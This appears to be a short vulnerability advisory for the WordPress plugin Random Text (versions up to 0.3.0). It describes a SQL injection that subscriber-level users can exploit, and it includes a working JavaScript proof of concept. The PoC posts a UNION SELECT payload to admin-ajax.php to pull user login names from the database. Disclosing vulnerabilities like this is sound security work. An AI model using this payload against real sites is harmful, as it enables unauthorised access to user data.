Random Text <= 0.3.0 - Subscriber+ SQLi

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by any authenticated users, such as subscribers.

PoC

fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=parse-media-shortcode&shortcode;=[randomtext category=“' UNION SELECT 1, user_login COLLATE utf8mb4_unicode_520_ci FROM wp_users #”]’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));